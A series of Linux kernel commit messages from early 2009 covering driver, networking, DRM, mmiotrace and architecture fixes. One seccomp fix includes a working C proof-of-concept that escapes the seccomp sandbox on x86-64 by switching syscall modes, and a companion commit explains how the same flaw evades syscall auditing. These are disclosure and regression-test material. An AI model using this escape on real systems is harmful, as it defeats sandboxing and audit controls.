The cacheid_init() function assumes that if cpu_architecture() returns
7, the caches are VIPT_NONALIASING. The cpu_architecture() function
returns the version of the supported MMU features (e.g. TEX remapping)
but it doesn't make any assumptions about the cache type. The patch adds
the checking of the Cache Type Register for the ARMv7 format.
Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
The target of the strex instruction to clear the exlusive monitor
is currently the top of the stack. If the store succeeeds this
corrupts r0 in pt_regs. Use the next stack location instead of
the current one to prevent any chance of corrupting an in-use
address.
Signed-off-by: Seth Forshee <seth.forshee@gmail.com>
Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
Impact: fix stuck NMIs and non-working oprofile on certain CPUs
Resetting the counter width of the performance counters on Intel's
Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode.
This should fix bug #12395:
http://bugzilla.kernel.org/show_bug.cgi?id=12395
Signed-off-by: Tim Blechmann <tim@klingt.org>
Signed-off-by: Robert Richter <robert.richter@amd.com>
LKML-Reference: <20090303100412.GC10085@erda.amd.com>
Cc: <stable@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
I have a system where UART0 is configured with hardware flow control, but UART1
doesn't have it enabled. Attempting to access UART1 in this configuration
results in the following error in dmesg:
<3>bfin-gpio: GPIO 0 is already reserved as Peripheral by bfin-uart !
<5>Stack from 0082bc7c:
<5> 0082bc88 00404dd6 00000003 00000000 0054051e 004079da 0082bcb4
00000000
<5> 00000003 00000000 0052686c 0113f2a0 005fa3f0 00000032 20515249
00003035
<5> 00427228 00526e50 0113f2e0 005fa3f0 00000032 0113f2e0 0054b748
0000ffff
<5> 22222222 22222222 004e1628 00427304 00000000 00000032 00000023
0054b748
<5> 00487a94 0054b7e8 0054b748 0000000b 00487fb8 0054b748 0054b748
00000001
<5> 0000000a 005fa3f0 009d4fe8 0101e3c0 0054b748 005fa3f0 0050b134
0054b748
<5>
<5>Call Trace:
<4>[<00485c16>] _uart_startup+0x56/0x178
<4>[<004865c8>] _uart_open+0x40/0x3e0
<4>[<0048661c>] _uart_open+0x94/0x3e0
<4>[<0047f1ce>] _init_dev+0x1fa/0x450
<4>[<004e1628>] ___mutex_unlock_slowpath+0x30/0xe8
<4>[<004815da>] _tty_open+0xf6/0x21c
<4>[<0043dab0>] ___path_lookup_intent_open+0x34/0x7c
<4>[<004375e4>] _chrdev_open+0x7c/0x134
<4>[<0043dc2c>] _open_namei+0x60/0x568
<4>[<00433fa2>] ___dentry_open+0x9e/0x188
<4>[<00437568>] _chrdev_open+0x0/0x134
<4>[<0043410c>] _nameidata_to_filp+0x30/0x3c
<4>[<00434152>] _do_filp_open+0x3a/0x44
<4>[<00408826>] _task_running_tick+0x102/0x278
<4>[<0043418e>] _do_sys_open+0x32/0xac
<4>[<0043ede4>] _sys_ioctl+0x28/0x50
<4>[<0043edbc>] _sys_ioctl+0x0/0x50
<4>[<00434224>] _sys_open+0x18/0x20
<4>[<0043420c>] _sys_open+0x0/0x20
<4>[<00418174>] _sys_setuid+0x0/0xc8
This is because the #ifdef's in bfin_serial_5xx.h are messed up. More
specifically, they add/remove the uart_{rts,cts}_pin fields in
bfin_serial_resources based on whether the particular port has rts/cts enabled,
as opposed to when either port has it enabled.
This patch fixed this.
Signed-off-by: Tom Parker <blackfin@tevp.net>
Signed-off-by: Sonic Zhang <sonic.zhang@analog.com>
Signed-off-by: Bryan Wu <cooloney@kernel.org>
It turns out that net_alive is unnecessary, and the original problem
that led to it being added was simply that the icmp code thought
it was a network device and wound up being unable to handle packets
while there were still packets in the network namespace.
Now that icmp and tcp have been fixed to properly register themselves
this problem is no longer present and we have a stronger guarantee
that packets will not arrive in a network namespace then that provided
by net_alive in netif_receive_skb. So remove net_alive allowing
packet reception run a little faster.
Additionally document the strong reason why network namespace cleanup
is safe so that if something happens again someone else will have
a chance of figuring it out.
Signed-off-by: Eric W. Biederman <ebiederm@aristanetworks.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
To remove the possibility of packets flying around when network
devices are being cleaned up use reisger_pernet_subsys instead of
register_pernet_device.
Signed-off-by: Eric W. Biederman <ebiederm@aristanetworks.com>
Acked-by: Denis V. Lunev <den@openvz.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
Recently I had a kernel panic in icmp_send during a network namespace
cleanup. There were packets in the arp queue that failed to be sent
and we attempted to generate an ICMP host unreachable message, but
failed because icmp_sk_exit had already been called.
The network devices are removed from a network namespace and their
arp queues are flushed before we do attempt to shutdown subsystems
so this error should have been impossible.
It turns out icmp_init is using register_pernet_device instead
of register_pernet_subsys. Which resulted in icmp being shut down
while we still had the possibility of packets in flight, making
a nasty NULL pointer deference in interrupt context possible.
Changing this to register_pernet_subsys fixes the problem in
my testing.
Signed-off-by: Eric W. Biederman <ebiederm@aristanetworks.com>
Acked-by: Denis V. Lunev <den@openvz.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
When a network namespace is destroyed the network interfaces are
all unregistered, making addrconf_ifdown called by the netdevice
notifier.
In the other hand, the addrconf exit method does a loop on the network
devices and does addrconf_ifdown on each of them. But the ordering of
the netns subsystem is not right because it uses the register_pernet_device
instead of register_pernet_subsys. If we handle the loopback as
any network device, we can safely use register_pernet_subsys.
But if we use register_pernet_subsys, the addrconf exit method will do
exactly what was already done with the unregistering of the network
devices. So in definitive, this code is pointless.
I removed the netns addrconf exit method and moved the code to the
addrconf cleanup function.
Signed-off-by: Daniel Lezcano <dlezcano@fr.ibm.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
make sure ANOMALY_05000278/ANOMALY_05000380 is defined for all parts
Signed-off-by: Mike Frysinger <vapier.adi@gmail.com>
Signed-off-by: Bryan Wu <cooloney@kernel.org>
Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>
Acked-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Impact: fix failed EFI bootup in certain circumstances
Ying Huang found init_memory_mapping() has problem with small ranges
less than 2M when he tried to direct map the EFI runtime code out of
max_low_pfn_mapped.
It turns out we never considered that case and didn't check the range...
Reported-by: Ying Huang <ying.huang@intel.com>
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Brian Maly <bmaly@redhat.com>
LKML-Reference: <49ACDDED.1060508@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
The following patch enables SMC911x support to work on the OMAP LDP
board. Although the SMC911x driver will eventually be obsoleted, the
smsc911x patches are rather invasive for the -rc kernels.
Rather than risk destablising smsc911x, this simpler patch is preferred
to allow the network interface to work.
Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
Acked-by: Tony Lindgren <tony@atomide.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
If ERROR chunk is received with too many error causes in ESTABLISHED
state, the kernel get panic.
This is because sctp limit the max length of cmds to 14, but while
ERROR chunk is received, one error cause will add around 2 cmds by
sctp_add_cmd_sf(). So many error causes will fill the limit of cmds
and panic.
This patch fixed the problem.
This bug can be test by SCTP Conformance Test Suite
<http://networktest.sourceforge.net/>.
Signed-off-by: Wei Yongjun <yjwei@cn.fujitsu.com>
Signed-off-by: Vlad Yasevich <vladislav.yasevich@hp.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
An extra list_del() during the module load failure and unload
resulted in a crash with a list corruption. Now sctp can
be unloaded again.
Signed-off-by: Vlad Yasevich <vladislav.yasevich@hp.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
This reverts commit 155b25bcc2, which was
totally wrong - the "embedded" options still exists (very much so) even
on non-embedded platforms.
It's just that we don't bother with actually asking about them when
we're not embedded, we just take their default values (which is usually
'y' - the options add features that may not be worth it in a constrained
environment).
Noticed-by: Andrew Morton <akpm@linux-foundation.org>
Cc: Randy Dunlap <randy.dunlap@oracle.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6:
drm/i915: Fix use-before-null-check in i915_irq_emit().
drm: Avoid client deadlocks when the master disappears.
drm: Wake up all lock waiters when the master disappears.
drm: Don't return ERESTARTSYS to user-space.
This could be triggered by a client asking to emit an irq when the device
wasn't initialized.
Signed-off-by: Eric Anholt <eric@anholt.net>
Signed-off-by: Dave Airlie <airlied@linux.ie>
This is done by
1) Wake up lock waiters when we close the master file descriptor.
Not when the master structure is removed, since the latter
requires the waiters themselves to release the refcount on the
master structure -> Deadlock.
2) Send a SIGTERM to all clients waiting for the lock.
Normally these clients will get a SIGPIPE when the X server dies,
but clients may also spin trying to grab the DRM lock, without
getting any sort of notification.
Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com>
Signed-off-by: Dave Airlie <airlied@linux.ie>
Currently only one waiter is woken up, leaving other waiters
hanging waiting for the DRM lock.
Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com>
Signed-off-by: Dave Airlie <airlied@linux.ie>
That return code is for in-kernel use only.
Use EINTR instead.
Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com>
Signed-off-by: Dave Airlie <airlied@linux.ie>
The COMPAT_BRK kconfig symbol does not depend on EMBEDDED, but it is in
the midst of the EMBEDDED menu symbols, so it mucks up the EMBEDDED
menu. Fix by moving it to just after all of the EMBEDDED menu symbols.
Also, surround all of the EMBEDDED symbols with "if EMBEDDED"/"endif" so
that this EMBEDDED block is clearer.
Signed-off-by: Randy Dunlap <randy.dunlap@oracle.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/drzeus/mmc:
sdhci: Add NO_BUSY_IRQ quirk for Marvell CAFE host chip
sdhci: Add quirk for controllers with no end-of-busy IRQ
* 'fix/hda' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6:
ALSA: hda - Add probe_mask default for Toshiba laptop with ALC268
ALSA: hda - Add quirk for new HP xw series
ALSA: hda - Fix digital mic on dell-m4-1 and dell-m4-3
* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
fix warning in io_mapping_map_wc()
x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()
* git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6: (29 commits)
zaurus: add usb id for motomagx phones
usbnet: make usbnet_get_link() fall back to ethtool_op_get_link()
veth: Fix carrier detect
cdc_ether: add usb id for Ericsson F3507g
r8169: read MAC address from EEPROM on init (2nd attempt)
tcp: fix retrans_out leaks
net headers: export dcbnl.h
net headers: cleanup dcbnl.h
netpoll: Add drop checks to all entry points
gianfar: Do right check on num_txbdfree
pkt_sched: sch_drr: Fix oops in drr_change_class.
b44: Disable device on shutdown
b44: Unconditionally enable interrupt routing on reset
net: fix hp-plus build error
libertas: fix misuse of netdev_priv() and dev->ml_priv
ipv6: don't use tw net when accounting for recycled tw
asix: new device ids
tcp_scalable: Update malformed & dead url
netfilter: xt_recent: fix proc-file addition/removal of IPv4 addresses
netxen: handle pci bar 0 mapping failure
...
Since I will loose the old address soon, please change it.
Signed-off-by: Karsten Keil <kkeil@linux-pingi.de>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input:
Input: elantech - touchpad driver miss-recognising logitech mice
Input: synaptics - ensure we reset the device on resume
Input: usbtouchscreen - fix eGalax HID ignoring
Input: ambakmi - fix timeout handling in amba_kmi_write()
Input: pxa930_trkball - fix write timeout handling
Input: struct device - replace bus_id with dev_name(), dev_set_name()
Input: bf54x-keys - fix debounce time validation
Input: spitzkbd - mark probe function as __devinit
Input: omap-keypad - mark probe function as __devinit
Input: corgi_ts - mark probe function as __devinit
Input: corgikbd - mark probe function as __devinit
Input: uvc - the button on the camera is KEY_CAMERA
Input: psmouse - make MOUSE_PS2_LIFEBOOK depend on X86
Input: atkbd - make forced_release_keys[] static
Input: usbtouchscreen - allow reporting calibrated data
* 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4:
ext4: don't call jbd2_journal_force_commit_nested without journal
ext4: Reorder fs/Makefile so that ext2 root fs's are mounted using ext2
ext4: Remove duplicate call to ext4_commit_super() in ext4_freeze()
* git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6:
[SCSI] mpt: fix disable lsi sas to use msi as default
[SCSI] fix ABORTED_COMMAND looping forever problem
[SCSI] sd: revive sd_index_lock
[SCSI] cxgb3i: update the driver version to 1.0.1
[SCSI] cxgb3i: Fix spelling errors in documentation
[SCSI] cxgb3i: added missing include in cxgb3i_ddp.h
[SCSI] cxgb3i: Outgoing pdus need to observe skb's MAX_SKB_FRAGS
[SCSI] cxgb3i: added per-task data to track transmit progress
[SCSI] cxgb3i: transmit work-request fixes
[SCSI] hptiop: Add new PCI device ID
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases, audit_syscall_entry() will use the wrong system
call number table and the wrong system call argument registers. This
could be used to circumvent a syscall audit configuration that filters
based on the syscall numbers or argument details.
Signed-off-by: Roland McGrath <roland@redhat.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
As described here: http://lkml.org/lkml/2009/2/20/265
The CAFE chip is broken due to commit e809517f6f.
Anton added a quirk here: http://lkml.org/lkml/2009/2/20/279 that fixes
CAFE's problem. This adds the quirk for CAFE.
Signed-off-by: Andres Salomon <dilinger@debian.org>
Signed-off-by: Pierre Ossman <drzeus@drzeus.cx>
The Samsung SDHCI (and FSL eSDHC) controller block seems to fail
to generate an INT_DATA_END after the transfer has completed and
the bus busy state finished.
Changes in e809517f6f to use the
new busy method are the cause of the behaviour change.
Signed-off-by: Ben Dooks <ben-linux@fluff.org>
Signed-off-by: Anton Vorontsov <avorontsov@ru.mvista.com>
Signed-off-by: Pierre Ossman <drzeus@drzeus.cx>
The nompu code is now derived from the mpu code, and had the same problem -
no null pointer detection on ICPLBs.
Signed-off-by: Bernd Schmidt <bernds_cb1@t-online.de>
Cc: Mike Frysinger <vapier.adi@gmail.com>
Signed-off-by: Bryan Wu <cooloney@kernel.org>
There was a theoretical possibility to a race between arming a page in
post_kmmio_handler() and disarming the page in
release_kmmio_fault_page():
cpu0 cpu1
------------------------------------------------------------------
mmiotrace shutdown
enter release_kmmio_fault_page
fault on the page
disarm the page
disarm the page
handle the MMIO access
re-arm the page
put the page on release list
remove_kmmio_fault_pages()
fault on the page
page not known to mmiotrace
fall back to do_page_fault()
*KABOOM*
(This scenario also shows the double disarm case which is allowed.)
Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking
if the page is being released from mmiotrace.
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Upgrade some kmmio.c debug messages to warnings.
Allow secondary faults on probed pages to fall through, and only log
secondary faults that are not due to non-present pages.
Patch edited by Pekka Paalanen.
Signed-off-by: Stuart Bennett <stuart@freedesktop.org>
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
From 36772dcb6ffbbb68254cbfc379a103acd2fbfefc Mon Sep 17 00:00:00 2001
From: Pekka Paalanen <pq@iki.fi>
Date: Sat, 28 Feb 2009 21:34:59 +0200
Split set_page_presence() in kmmio.c into two more functions set_pmd_presence()
and set_pte_presence(). Purely code reorganization, no functional changes.
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
From baa99e2b32449ec7bf147c234adfa444caecac8a Mon Sep 17 00:00:00 2001
From: Pekka Paalanen <pq@iki.fi>
Date: Sun, 22 Feb 2009 20:02:43 +0200
Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the
possibility, that the page was not present when it was armed.
Make arm_kmmio_fault_page() store the previous page presence in struct
kmmio_fault_page and use it on disarm.
This patch was originally written by Stuart Bennett, but Pekka Paalanen
rewrote it a little different.
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Print a full warning once, if arming or disarming a page fails.
Also, if initial arming fails, do not handle the page further. This
avoids the possibility of a page failing to arm and then later claiming
to have handled any fault on that page.
WARN_ONCE added by Pekka Paalanen.
Signed-off-by: Stuart Bennett <stuart@freedesktop.org>
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Apparently pages far into an ioremapped region might not actually be
mapped during ioremap(). Add an optional read test to try to trigger a
multiply faulting MMIO access. Also add more messages to the kernel log
to help debugging.
This patch is based on a patch suggested by
Stuart Bennett <stuart@freedesktop.org>
who discovered bugs in mmiotrace related to normal kernel space faults.
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Check the read values against the written values in the MMIO read/write
test. This test shows if the given MMIO test area really works as
memory, which is a prerequisite for a successful mmiotrace test.
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Some Toshiba laptops have another ALC268 codec on slot#3 that conflicts
with the primary codec. The codec#3 is for the digital I/O, and should
be fixed by the driver, but it'd need a bunch of changes.
So, let's fix the probe problem temporarily by setting the default
probe_mask value.
Reference: kernel bugzilla #12735http://bugzilla.kernel.org/show_bug.cgi?id=12735
Tested-by: Alexey Dobriyan <adobriyan@gmail.com>
Signed-off-by: Takashi Iwai <tiwai@suse.de>